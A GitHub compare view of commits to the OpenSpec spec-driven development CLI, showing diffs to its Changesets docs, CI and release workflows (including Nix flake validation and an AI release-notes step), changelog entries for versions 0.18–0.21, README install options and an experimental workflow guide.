mirror of
https://github.com/Fission-AI/OpenSpec.git
synced 2026-10-18 05:59:56 +08:00
Compare commits
40
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
473093f885 | ||
|
|
b5a884748b | ||
|
|
690c75225c | ||
|
|
dd53fb7736 | ||
|
|
2a441c472d | ||
|
|
ed4d965208 | ||
|
|
c86985d6ec | ||
|
|
bf4bc2426f | ||
|
|
c57e421cc2 | ||
|
|
ed2e832066 | ||
|
|
9db74aa5ac | ||
|
|
b5b7248610 | ||
|
|
322bfd455a | ||
|
|
08c349369a | ||
|
|
40afee643e | ||
|
|
05023dab43 | ||
|
|
d7a928b4e9 | ||
|
|
07dd634986 | ||
|
|
36078b1947 | ||
|
|
d0e1b076c2 | ||
|
|
2fbda520de | ||
|
|
5633556b6d | ||
|
|
2bb0ed36c5 | ||
|
|
06097f9cb7 | ||
|
|
8f5a526396 | ||
|
|
eb152eb2ca | ||
|
|
e987a5a327 | ||
|
|
4971cda812 | ||
|
|
4715138927 | ||
|
|
940898c1c5 | ||
|
|
d49a88c3bb | ||
|
|
bb9f6ce0ea | ||
|
|
ae85a7229d | ||
|
|
504c93bdf1 | ||
|
|
c4a54a8d54 | ||
|
|
38d2356836 | ||
|
|
3f67debf65 | ||
|
|
533cb0fa87 | ||
|
|
8dfd824477 | ||
|
|
3ed1270316 |
+93
-4
@@ -1,6 +1,95 @@
|
||||
This directory is managed by Changesets.
|
||||
# Changesets
|
||||
|
||||
- Add a changeset locally with `pnpm changeset`.
|
||||
- The CI "Release (prepare)" workflow opens/updates a Version Packages PR.
|
||||
- Publishing happens from a GitHub Release via the "Publish to npm" workflow.
|
||||
This directory is managed by [Changesets](https://github.com/changesets/changesets).
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
pnpm changeset
|
||||
```
|
||||
|
||||
Follow the prompts to select version bump type and describe your changes.
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Add a changeset** — Run `pnpm changeset` locally before or after your PR
|
||||
2. **Version PR** — CI opens/updates a "Version Packages" PR when changesets merge to main
|
||||
3. **Release** — Merging the Version PR triggers npm publish and GitHub Release
|
||||
|
||||
> **Note:** Contributors only need to run `pnpm changeset`. Versioning (`changeset version`) and publishing happen automatically in CI.
|
||||
|
||||
## Template
|
||||
|
||||
Use this structure for your changeset content:
|
||||
|
||||
```markdown
|
||||
---
|
||||
"@fission-ai/openspec": patch
|
||||
---
|
||||
|
||||
### New Features
|
||||
|
||||
- **Feature name** — What users can now do
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- Fixed issue where X happened when Y
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
- `oldMethod()` has been removed, use `newMethod()` instead
|
||||
|
||||
### Deprecations
|
||||
|
||||
- `legacyOption` is deprecated and will be removed in v2.0
|
||||
|
||||
### Other
|
||||
|
||||
- Internal refactoring of X for better performance
|
||||
```
|
||||
|
||||
Include only the sections relevant to your change.
|
||||
|
||||
## Version Bump Guide
|
||||
|
||||
| Type | When to use | Example |
|
||||
|------|-------------|---------|
|
||||
| `patch` | Bug fixes, small improvements | Fixed crash when config missing |
|
||||
| `minor` | New features, non-breaking additions | Added `--verbose` flag |
|
||||
| `major` | Breaking changes, removed features | Renamed `init` to `setup` |
|
||||
|
||||
## When to Create a Changeset
|
||||
|
||||
**Create one for:**
|
||||
- New features or commands
|
||||
- Bug fixes that affect users
|
||||
- Breaking changes or deprecations
|
||||
- Performance improvements users would notice
|
||||
|
||||
**Skip for:**
|
||||
- Documentation-only changes
|
||||
- Test additions/fixes
|
||||
- Internal refactoring with no user impact
|
||||
- CI/tooling changes
|
||||
|
||||
## Writing Good Descriptions
|
||||
|
||||
**Do:** Write for users, not developers
|
||||
```markdown
|
||||
- **Shell completions** — Tab completion now available for Bash, Fish, and PowerShell
|
||||
```
|
||||
|
||||
**Don't:** Write implementation details
|
||||
```markdown
|
||||
- Added ShellCompletionGenerator class with Bash/Fish/PowerShell subclasses
|
||||
```
|
||||
|
||||
**Do:** Explain the impact
|
||||
```markdown
|
||||
- Fixed config loading to respect `XDG_CONFIG_HOME` on Linux
|
||||
```
|
||||
|
||||
**Don't:** Just reference the fix
|
||||
```markdown
|
||||
- Fixed #123
|
||||
```
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
{
|
||||
"$schema": "https://unpkg.com/@changesets/config/schema.json",
|
||||
"changelog": "@changesets/cli/changelog",
|
||||
"changelog": [
|
||||
"@changesets/changelog-github",
|
||||
{ "repo": "Fission-AI/OpenSpec" }
|
||||
],
|
||||
"commit": false,
|
||||
"fixed": [],
|
||||
"linked": [],
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
# Github Workflows
|
||||
|
||||
## Testing CI Locally
|
||||
|
||||
Test GitHub Actions workflows locally using [act](https://nektosact.com/):
|
||||
|
||||
```bash
|
||||
# Test all PR checks
|
||||
act pull_request
|
||||
|
||||
# Test specific job
|
||||
act pull_request -j nix-flake-validate
|
||||
|
||||
# Dry run to see what would execute
|
||||
act pull_request --dryrun
|
||||
```
|
||||
|
||||
The `.actrc` file configures act to use the appropriate Docker image.
|
||||
|
||||
|
||||
@@ -156,6 +156,64 @@ jobs:
|
||||
exit 1
|
||||
fi
|
||||
|
||||
nix-flake-validate:
|
||||
name: Nix Flake Validation
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Install Nix
|
||||
uses: DeterminateSystems/nix-installer-action@v13
|
||||
|
||||
- name: Setup Nix cache
|
||||
uses: DeterminateSystems/magic-nix-cache-action@v8
|
||||
|
||||
- name: Build with Nix
|
||||
run: nix build
|
||||
|
||||
- name: Verify build output
|
||||
run: |
|
||||
if [ ! -e "result" ]; then
|
||||
echo "Error: Nix build output 'result' symlink not found"
|
||||
exit 1
|
||||
fi
|
||||
if [ ! -f "result/bin/openspec" ]; then
|
||||
echo "Error: openspec binary not found in build output"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Build output verified"
|
||||
|
||||
- name: Test binary execution
|
||||
run: |
|
||||
VERSION=$(nix run . -- --version)
|
||||
echo "OpenSpec version: $VERSION"
|
||||
if [ -z "$VERSION" ]; then
|
||||
echo "Error: Version command returned empty output"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Binary execution successful"
|
||||
|
||||
- name: Validate update script
|
||||
run: |
|
||||
echo "Testing update-flake.sh script..."
|
||||
bash scripts/update-flake.sh
|
||||
echo "✅ Update script executed successfully"
|
||||
|
||||
- name: Check flake.nix modifications
|
||||
run: |
|
||||
if git diff --quiet flake.nix; then
|
||||
echo "⚠️ Warning: flake.nix was not modified by update script"
|
||||
else
|
||||
echo "✅ flake.nix was updated by script"
|
||||
git diff flake.nix
|
||||
fi
|
||||
|
||||
- name: Restore flake.nix
|
||||
if: always()
|
||||
run: git checkout -- flake.nix || true
|
||||
|
||||
validate-changesets:
|
||||
name: Validate Changesets
|
||||
runs-on: ubuntu-latest
|
||||
@@ -191,7 +249,7 @@ jobs:
|
||||
required-checks-pr:
|
||||
name: All checks passed
|
||||
runs-on: ubuntu-latest
|
||||
needs: [test_pr, lint]
|
||||
needs: [test_pr, lint, nix-flake-validate]
|
||||
if: always() && github.event_name == 'pull_request'
|
||||
steps:
|
||||
- name: Verify all checks passed
|
||||
@@ -204,12 +262,16 @@ jobs:
|
||||
echo "Lint job failed"
|
||||
exit 1
|
||||
fi
|
||||
if [[ "${{ needs.nix-flake-validate.result }}" != "success" ]]; then
|
||||
echo "Nix flake validation job failed"
|
||||
exit 1
|
||||
fi
|
||||
echo "All required checks passed!"
|
||||
|
||||
required-checks-main:
|
||||
name: All checks passed
|
||||
runs-on: ubuntu-latest
|
||||
needs: [test_matrix, lint]
|
||||
needs: [test_matrix, lint, nix-flake-validate]
|
||||
if: always() && github.event_name != 'pull_request'
|
||||
steps:
|
||||
- name: Verify all checks passed
|
||||
@@ -222,4 +284,8 @@ jobs:
|
||||
echo "Lint job failed"
|
||||
exit 1
|
||||
fi
|
||||
if [[ "${{ needs.nix-flake-validate.result }}" != "success" ]]; then
|
||||
echo "Nix flake validation job failed"
|
||||
exit 1
|
||||
fi
|
||||
echo "All required checks passed!"
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
name: Polish Release Notes
|
||||
|
||||
# Manual trigger after a release is published
|
||||
# The Claude Code action doesn't support 'release' event triggers directly
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
tag_name:
|
||||
description: 'Release tag to polish (e.g., v0.18.0)'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
polish:
|
||||
# Only run on the main repo, not forks
|
||||
if: github.repository == 'Fission-AI/OpenSpec'
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Get current release body
|
||||
id: get-release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh release view "${{ inputs.tag_name }}" --json body -q '.body' > current-notes.md
|
||||
echo "Fetched release notes for ${{ inputs.tag_name }}"
|
||||
|
||||
- name: Transform release notes with Claude
|
||||
uses: anthropics/claude-code-action@v1
|
||||
id: claude
|
||||
with:
|
||||
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
claude_args: "--allowedTools Write,Read"
|
||||
prompt: |
|
||||
Transform the changelog in `current-notes.md` into release notes for OpenSpec ${{ inputs.tag_name }}.
|
||||
|
||||
## Voice
|
||||
|
||||
OpenSpec is a developer tool. Write like you're talking to a peer:
|
||||
- Direct and practical, not marketing copy
|
||||
- Focus on what changed and why it matters
|
||||
- Skip the hype, keep it real
|
||||
|
||||
## Output
|
||||
|
||||
Create two files:
|
||||
|
||||
### 1. `release-title.txt`
|
||||
|
||||
A short title in this format:
|
||||
```
|
||||
${{ inputs.tag_name }} - [1-4 words describing the release]
|
||||
```
|
||||
|
||||
Examples:
|
||||
- `v0.18.0 - OPSX Experimental Workflow`
|
||||
- `v0.16.0 - Antigravity, iFlow Support`
|
||||
- `v0.15.0 - Gemini CLI, RooCode`
|
||||
|
||||
Rules for title:
|
||||
- Lead with the most notable addition
|
||||
- 1-4 words after the dash, no fluff
|
||||
- If multiple features, comma-separate the top 2
|
||||
- For bugfix-only releases, use something like `v0.17.2 - Pre-commit Hook Fix`
|
||||
|
||||
### 2. `polished-notes.md`
|
||||
|
||||
```markdown
|
||||
## What's New in ${{ inputs.tag_name }}
|
||||
|
||||
[One sentence: what's the theme of this release?]
|
||||
|
||||
### New
|
||||
|
||||
- **Feature name** - What it does and why you'd use it
|
||||
|
||||
### Improved
|
||||
|
||||
- **Area** - What got better
|
||||
|
||||
### Fixed
|
||||
|
||||
- What was broken, now works
|
||||
```
|
||||
|
||||
Omit empty sections.
|
||||
|
||||
## Rules
|
||||
|
||||
1. Write for developers using OpenSpec with AI coding assistants
|
||||
2. Remove commit hashes (like `eb152eb:`), PR numbers, and changesets wrappers (`### Minor Changes`)
|
||||
3. Lead with what users can do, not implementation details
|
||||
4. One to two sentences per item, max
|
||||
5. Use **bold** for feature/area names
|
||||
6. Skip internal changes (CI, refactors, tests) unless they affect users
|
||||
7. If the input is already well-formatted, just clean up structure and remove noise
|
||||
|
||||
## Example
|
||||
|
||||
Before:
|
||||
```
|
||||
### Minor Changes
|
||||
- 8dfd824: Add OPSX experimental workflow commands and enhanced artifact system
|
||||
**New Commands:**
|
||||
- `/opsx:ff` - Fast-forward through artifact creation
|
||||
```
|
||||
|
||||
After (polished-notes.md):
|
||||
```
|
||||
### New
|
||||
|
||||
- **Fast-forward mode** - Generate all planning artifacts at once with `/opsx:ff`. Useful when you already know what you're building.
|
||||
```
|
||||
|
||||
After (release-title.txt):
|
||||
```
|
||||
v0.18.0 - OPSX Experimental Workflow
|
||||
```
|
||||
|
||||
Write both files. No other output.
|
||||
|
||||
- name: Update release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
TAG="${{ inputs.tag_name }}"
|
||||
|
||||
if [ -f "polished-notes.md" ] && [ -f "release-title.txt" ]; then
|
||||
TITLE=$(cat release-title.txt)
|
||||
gh release edit "$TAG" --title "$TITLE" --notes-file polished-notes.md
|
||||
echo "Updated: $TITLE"
|
||||
elif [ -f "polished-notes.md" ]; then
|
||||
gh release edit "$TAG" --notes-file polished-notes.md
|
||||
echo "Updated notes (title unchanged)"
|
||||
else
|
||||
echo "No changes generated, keeping original"
|
||||
fi
|
||||
@@ -18,9 +18,20 @@ jobs:
|
||||
if: github.repository == 'Fission-AI/OpenSpec'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# Generate GitHub App token first - used for checkout and changesets
|
||||
# This allows git operations to trigger CI workflows on the version PR
|
||||
# (GITHUB_TOKEN cannot trigger workflows by design)
|
||||
- name: Generate GitHub App Token
|
||||
id: app-token
|
||||
uses: actions/create-github-app-token@v2
|
||||
with:
|
||||
app-id: ${{ vars.APP_ID }}
|
||||
private-key: ${{ secrets.APP_PRIVATE_KEY }}
|
||||
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ steps.app-token.outputs.token }}
|
||||
|
||||
- uses: pnpm/action-setup@v4
|
||||
with:
|
||||
@@ -44,5 +55,5 @@ jobs:
|
||||
# so package.json already contains the bumped version.
|
||||
publish: pnpm run release:ci
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
|
||||
# npm authentication handled via OIDC trusted publishing (no token needed)
|
||||
|
||||
@@ -148,3 +148,4 @@ CLAUDE.md
|
||||
|
||||
# Pnpm
|
||||
.pnpm-store/
|
||||
result
|
||||
|
||||
@@ -1,5 +1,88 @@
|
||||
# @fission-ai/openspec
|
||||
|
||||
## 0.21.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- [#516](https://github.com/Fission-AI/OpenSpec/pull/516) [`b5a8847`](https://github.com/Fission-AI/OpenSpec/commit/b5a884748be6156a7bb140b4941cfec4f20a9fc8) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features
|
||||
|
||||
- **Feedback command** — Submit feedback directly from the CLI with `openspec feedback`, which creates GitHub Issues with automatic metadata inclusion and graceful fallback for manual submission
|
||||
- **Nix flake support** — Install and develop openspec using Nix with the new `flake.nix`, including automated flake maintenance and CI validation
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **Explore mode guardrails** — Explore mode now explicitly prevents implementation, keeping the focus on thinking and discovery while still allowing artifact creation
|
||||
|
||||
### Other
|
||||
|
||||
- Improved change inference in `opsx apply` — automatically detects the target change from conversation context or prompts when ambiguous
|
||||
- Streamlined archive sync assessment with clearer delta spec location guidance
|
||||
|
||||
## 0.20.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- [#502](https://github.com/Fission-AI/OpenSpec/pull/502) [`9db74aa`](https://github.com/Fission-AI/OpenSpec/commit/9db74aa5ac6547efadaed795217cfa17444f2004) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features
|
||||
|
||||
- **`/opsx:verify` command** — Validate that change implementations match their specifications
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- Fixed vitest process storms by capping worker parallelism
|
||||
- Fixed agent workflows to use non-interactive mode for validation commands
|
||||
- Fixed PowerShell completions generator to remove trailing commas
|
||||
|
||||
## 0.19.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- eb152eb: ### New Features
|
||||
|
||||
- **Continue IDE support** – OpenSpec now generates slash commands for [Continue](https://continue.dev/), expanding editor integration options alongside Cursor, Windsurf, Claude Code, and others
|
||||
- **Shell completions for Bash, Fish, and PowerShell** – Run `openspec completion install` to set up tab completion in your preferred shell
|
||||
- **`/opsx:explore` command** – A new thinking partner mode for exploring ideas and investigating problems before committing to changes
|
||||
- **Codebuddy slash command improvements** – Updated frontmatter format for better compatibility
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- Shell completions now correctly offer parent-level flags (like `--help`) when a command has subcommands
|
||||
- Fixed Windows compatibility issues in tests
|
||||
|
||||
### Other
|
||||
|
||||
- Added optional anonymous usage statistics to help understand how OpenSpec is used. This is **opt-out** by default – set `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1` to disable. Only command names and version are collected; no arguments, file paths, or content. Automatically disabled in CI environments.
|
||||
|
||||
## 0.18.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- 8dfd824: Add OPSX experimental workflow commands and enhanced artifact system
|
||||
|
||||
**New Commands:**
|
||||
|
||||
- `/opsx:ff` - Fast-forward through artifact creation, generating all needed artifacts in one go
|
||||
- `/opsx:sync` - Sync delta specs from a change to main specs
|
||||
- `/opsx:archive` - Archive completed changes with smart sync check
|
||||
|
||||
**Artifact Workflow Enhancements:**
|
||||
|
||||
- Schema-aware apply instructions with inline guidance and XML output
|
||||
- Agent schema selection for experimental artifact workflow
|
||||
- Per-change schema metadata via `.openspec.yaml` files
|
||||
- Agent Skills for experimental artifact workflow
|
||||
- Instruction loader for template loading and change context
|
||||
- Restructured schemas as directories with templates
|
||||
|
||||
**Improvements:**
|
||||
|
||||
- Enhanced list command with last modified timestamps and sorting
|
||||
- Change creation utilities for better workflow support
|
||||
|
||||
**Fixes:**
|
||||
|
||||
- Normalize paths for cross-platform glob compatibility
|
||||
- Allow REMOVED requirements when creating new spec files
|
||||
|
||||
## 0.17.2
|
||||
|
||||
### Patch Changes
|
||||
@@ -55,6 +138,8 @@
|
||||
|
||||
### Minor Changes
|
||||
|
||||
- Add Continue slash command support so `openspec init` can generate `.continue/prompts/openspec-*.prompt` files with MARKDOWN frontmatter and `$ARGUMENTS` placeholder, and refresh them on `openspec update`.
|
||||
|
||||
- Add Antigravity slash command support so `openspec init` can generate `.agent/workflows/openspec-*.md` files with description-only frontmatter and `openspec update` refreshes existing workflows alongside Windsurf.
|
||||
|
||||
## 0.15.0
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# Maintainers
|
||||
|
||||
People who maintain and guide OpenSpec.
|
||||
|
||||
## Core Maintainers
|
||||
|
||||
| Name | GitHub | Role |
|
||||
|------|--------|------|
|
||||
| Tabish Bidiwale | [@TabishB](https://github.com/TabishB) | Lead maintainer |
|
||||
|
||||
## Advisors
|
||||
|
||||
Advisors help shape technical direction and provide guidance to the project.
|
||||
|
||||
| Name | GitHub | Focus |
|
||||
|------|--------|-------|
|
||||
| Hari Krishnan | [@harikrishnan83](https://github.com/harikrishnan83) | Technical direction |
|
||||
@@ -26,6 +26,10 @@
|
||||
Follow <a href="https://x.com/0xTab">@0xTab on X</a> for updates · Join the <a href="https://discord.gg/YctCnvvshC">OpenSpec Discord</a> for help and questions.
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<sub>🧪 <strong>New:</strong> <a href="docs/experimental-workflow.md">Experimental Workflow (OPSX)</a> — schema-driven, hackable, fluid. Iterate on workflows without code changes.</sub>
|
||||
</p>
|
||||
|
||||
# OpenSpec
|
||||
|
||||
OpenSpec aligns humans and AI coding assistants with spec-driven development so you agree on what to build before any code is written. **No API keys required.**
|
||||
@@ -99,6 +103,7 @@ These tools have built-in OpenSpec commands. Select the OpenSpec integration whe
|
||||
| **Cline** | Workflows in `.clinerules/workflows/` directory (`.clinerules/workflows/openspec-*.md`) |
|
||||
| **CodeBuddy Code (CLI)** | `/openspec:proposal`, `/openspec:apply`, `/openspec:archive` (`.codebuddy/commands/`) — see [docs](https://www.codebuddy.ai/cli) |
|
||||
| **Codex** | `/openspec-proposal`, `/openspec-apply`, `/openspec-archive` (global: `~/.codex/prompts`, auto-installed) |
|
||||
| **Continue** | `/openspec-proposal`, `/openspec-apply`, `/openspec-archive` (`.continue/prompts/`) |
|
||||
| **CoStrict** | `/openspec-proposal`, `/openspec-apply`, `/openspec-archive` (`.cospec/openspec/commands/`) — see [docs](https://costrict.ai)|
|
||||
| **Crush** | `/openspec-proposal`, `/openspec-apply`, `/openspec-archive` (`.crush/commands/openspec/`) |
|
||||
| **Cursor** | `/openspec-proposal`, `/openspec-apply`, `/openspec-archive` |
|
||||
@@ -135,6 +140,8 @@ These tools automatically read workflow instructions from `openspec/AGENTS.md`.
|
||||
|
||||
#### Step 1: Install the CLI globally
|
||||
|
||||
**Option A: Using npm**
|
||||
|
||||
```bash
|
||||
npm install -g @fission-ai/openspec@latest
|
||||
```
|
||||
@@ -144,6 +151,39 @@ Verify installation:
|
||||
openspec --version
|
||||
```
|
||||
|
||||
**Option B: Using Nix (NixOS and Nix package manager)**
|
||||
|
||||
Run OpenSpec directly without installation:
|
||||
```bash
|
||||
nix run github:Fission-AI/OpenSpec -- init
|
||||
```
|
||||
|
||||
Or install to your profile:
|
||||
```bash
|
||||
nix profile install github:Fission-AI/OpenSpec
|
||||
```
|
||||
|
||||
Or add to your development environment in `flake.nix`:
|
||||
```nix
|
||||
{
|
||||
inputs = {
|
||||
nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
|
||||
openspec.url = "github:Fission-AI/OpenSpec";
|
||||
};
|
||||
|
||||
outputs = { nixpkgs, openspec, ... }: {
|
||||
devShells.x86_64-linux.default = nixpkgs.legacyPackages.x86_64-linux.mkShell {
|
||||
buildInputs = [ openspec.packages.x86_64-linux.default ];
|
||||
};
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
Verify installation:
|
||||
```bash
|
||||
openspec --version
|
||||
```
|
||||
|
||||
#### Step 2: Initialize OpenSpec in your project
|
||||
|
||||
Navigate to your project directory:
|
||||
@@ -368,6 +408,53 @@ Run `openspec update` whenever someone switches tools so your agents pick up the
|
||||
2. **Refresh agent instructions**
|
||||
- Run `openspec update` inside each project to regenerate AI guidance and ensure the latest slash commands are active.
|
||||
|
||||
## Experimental Features
|
||||
|
||||
<details>
|
||||
<summary><strong>🧪 OPSX: Fluid, Iterative Workflow</strong> (Claude Code only)</summary>
|
||||
|
||||
**Why this exists:**
|
||||
- Standard workflow is locked down — you can't tweak instructions or customize
|
||||
- When AI output is bad, you can't improve the prompts yourself
|
||||
- Same workflow for everyone, no way to match how your team works
|
||||
|
||||
**What's different:**
|
||||
- **Hackable** — edit templates and schemas yourself, test immediately, no rebuild
|
||||
- **Granular** — each artifact has its own instructions, test and tweak individually
|
||||
- **Customizable** — define your own workflows, artifacts, and dependencies
|
||||
- **Fluid** — no phase gates, update any artifact anytime
|
||||
|
||||
```
|
||||
You can always go back:
|
||||
|
||||
proposal ──→ specs ──→ design ──→ tasks ──→ implement
|
||||
▲ ▲ ▲ │
|
||||
└───────────┴──────────┴────────────────────┘
|
||||
```
|
||||
|
||||
| Command | What it does |
|
||||
|---------|--------------|
|
||||
| `/opsx:new` | Start a new change |
|
||||
| `/opsx:continue` | Create the next artifact (based on what's ready) |
|
||||
| `/opsx:ff` | Fast-forward (all planning artifacts at once) |
|
||||
| `/opsx:apply` | Implement tasks, updating artifacts as needed |
|
||||
| `/opsx:archive` | Archive when done |
|
||||
|
||||
**Setup:** `openspec artifact-experimental-setup`
|
||||
|
||||
[Full documentation →](docs/experimental-workflow.md)
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><strong>Telemetry</strong> – OpenSpec collects anonymous usage stats (opt-out: <code>OPENSPEC_TELEMETRY=0</code>)</summary>
|
||||
|
||||
We collect only command names and version to understand usage patterns. No arguments, paths, content, or PII. Automatically disabled in CI.
|
||||
|
||||
**Opt-out:** `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1`
|
||||
|
||||
</details>
|
||||
|
||||
## Contributing
|
||||
|
||||
- Install dependencies: `pnpm install`
|
||||
@@ -376,6 +463,13 @@ Run `openspec update` whenever someone switches tools so your agents pick up the
|
||||
- Develop CLI locally: `pnpm run dev` or `pnpm run dev:cli`
|
||||
- Conventional commits (one-line): `type(scope): subject`
|
||||
|
||||
<details>
|
||||
<summary><strong>Maintainers & Advisors</strong></summary>
|
||||
|
||||
See [MAINTAINERS.md](MAINTAINERS.md) for the list of core maintainers and advisors who help guide the project.
|
||||
|
||||
</details>
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
|
||||
@@ -0,0 +1,540 @@
|
||||
# Experimental Workflow (OPSX)
|
||||
|
||||
> **Status:** Experimental. Things might break. Feedback welcome on [Discord](https://discord.gg/BYjPaKbqMt).
|
||||
>
|
||||
> **Compatibility:** Claude Code only (for now)
|
||||
|
||||
## What Is It?
|
||||
|
||||
OPSX is a **fluid, iterative workflow** for OpenSpec changes. No more rigid phases — just actions you can take anytime.
|
||||
|
||||
## Why This Exists
|
||||
|
||||
The standard OpenSpec workflow works, but it's **locked down**:
|
||||
|
||||
- **Instructions are hardcoded** — buried in TypeScript, you can't change them
|
||||
- **All-or-nothing** — one big command creates everything, can't test individual pieces
|
||||
- **Fixed structure** — same workflow for everyone, no customization
|
||||
- **Black box** — when AI output is bad, you can't tweak the prompts
|
||||
|
||||
**OPSX opens it up.** Now anyone can:
|
||||
|
||||
1. **Experiment with instructions** — edit a template, see if the AI does better
|
||||
2. **Test granularly** — validate each artifact's instructions independently
|
||||
3. **Customize workflows** — define your own artifacts and dependencies
|
||||
4. **Iterate quickly** — change a template, test immediately, no rebuild
|
||||
|
||||
```
|
||||
Standard workflow: OPSX:
|
||||
┌────────────────────────┐ ┌────────────────────────┐
|
||||
│ Hardcoded in package │ │ schema.yaml │◄── You edit this
|
||||
│ (can't change) │ │ templates/*.md │◄── Or this
|
||||
│ ↓ │ │ ↓ │
|
||||
│ Wait for new release │ │ Instant effect │
|
||||
│ ↓ │ │ ↓ │
|
||||
│ Hope it's better │ │ Test it yourself │
|
||||
└────────────────────────┘ └────────────────────────┘
|
||||
```
|
||||
|
||||
**This is for everyone:**
|
||||
- **Teams** — create workflows that match how you actually work
|
||||
- **Power users** — tweak prompts to get better AI outputs for your codebase
|
||||
- **OpenSpec contributors** — experiment with new approaches without releases
|
||||
|
||||
We're all still learning what works best. OPSX lets us learn together.
|
||||
|
||||
## The User Experience
|
||||
|
||||
**The problem with linear workflows:**
|
||||
You're "in planning phase", then "in implementation phase", then "done". But real work doesn't work that way. You implement something, realize your design was wrong, need to update specs, continue implementing. Linear phases fight against how work actually happens.
|
||||
|
||||
**OPSX approach:**
|
||||
- **Actions, not phases** — create, implement, update, archive — do any of them anytime
|
||||
- **Dependencies are enablers** — they show what's possible, not what's required next
|
||||
- **Update as you learn** — halfway through implementation? Go back and fix the design. That's normal.
|
||||
|
||||
```
|
||||
You can always go back:
|
||||
|
||||
┌────────────────────────────────────┐
|
||||
│ │
|
||||
▼ │
|
||||
proposal ──→ specs ──→ design ──→ tasks ──→ implement
|
||||
▲ ▲ ▲ │
|
||||
│ │ │ │
|
||||
└───────────┴──────────┴───────────────┘
|
||||
update as you learn
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
# 1. Make sure you have openspec installed and initialized
|
||||
openspec init
|
||||
|
||||
# 2. Generate the experimental skills
|
||||
openspec artifact-experimental-setup
|
||||
```
|
||||
|
||||
This creates skills in `.claude/skills/` that Claude Code auto-detects.
|
||||
|
||||
## Commands
|
||||
|
||||
| Command | What it does |
|
||||
|---------|--------------|
|
||||
| `/opsx:explore` | Think through ideas, investigate problems, clarify requirements |
|
||||
| `/opsx:new` | Start a new change |
|
||||
| `/opsx:continue` | Create the next artifact (based on what's ready) |
|
||||
| `/opsx:ff` | Fast-forward — create all planning artifacts at once |
|
||||
| `/opsx:apply` | Implement tasks, updating artifacts as needed |
|
||||
| `/opsx:sync` | Sync delta specs to main specs |
|
||||
| `/opsx:archive` | Archive when done |
|
||||
|
||||
## Usage
|
||||
|
||||
### Explore an idea
|
||||
```
|
||||
/opsx:explore
|
||||
```
|
||||
Think through ideas, investigate problems, compare options. No structure required - just a thinking partner. When insights crystallize, transition to `/opsx:new` or `/opsx:ff`.
|
||||
|
||||
### Start a new change
|
||||
```
|
||||
/opsx:new
|
||||
```
|
||||
You'll be asked what you want to build and which workflow schema to use.
|
||||
|
||||
### Create artifacts
|
||||
```
|
||||
/opsx:continue
|
||||
```
|
||||
Shows what's ready to create based on dependencies, then creates one artifact. Use repeatedly to build up your change incrementally.
|
||||
|
||||
```
|
||||
/opsx:ff add-dark-mode
|
||||
```
|
||||
Creates all planning artifacts at once. Use when you have a clear picture of what you're building.
|
||||
|
||||
### Implement (the fluid part)
|
||||
```
|
||||
/opsx:apply
|
||||
```
|
||||
Works through tasks, checking them off as you go. **Key difference:** if you discover issues during implementation, you can update your specs, design, or tasks — then continue. No phase gates. If you're juggling multiple changes, you can run `/opsx:apply <name>`; otherwise it should infer from the conversation and prompt you to choose if it can’t tell.
|
||||
|
||||
### Finish up
|
||||
```
|
||||
/opsx:sync # Update main specs with your delta specs
|
||||
/opsx:archive # Move to archive when done
|
||||
```
|
||||
|
||||
## When to Update vs. Start Fresh
|
||||
|
||||
OPSX lets you update artifacts anytime. But when does "update as you learn" become "this is different work"?
|
||||
|
||||
### What a Proposal Captures
|
||||
|
||||
A proposal defines three things:
|
||||
1. **Intent** — What problem are you solving?
|
||||
2. **Scope** — What's in/out of bounds?
|
||||
3. **Approach** — How will you solve it?
|
||||
|
||||
The question is: which changed, and by how much?
|
||||
|
||||
### Update the Existing Change When:
|
||||
|
||||
**Same intent, refined execution**
|
||||
- You discover edge cases you didn't consider
|
||||
- The approach needs tweaking but the goal is unchanged
|
||||
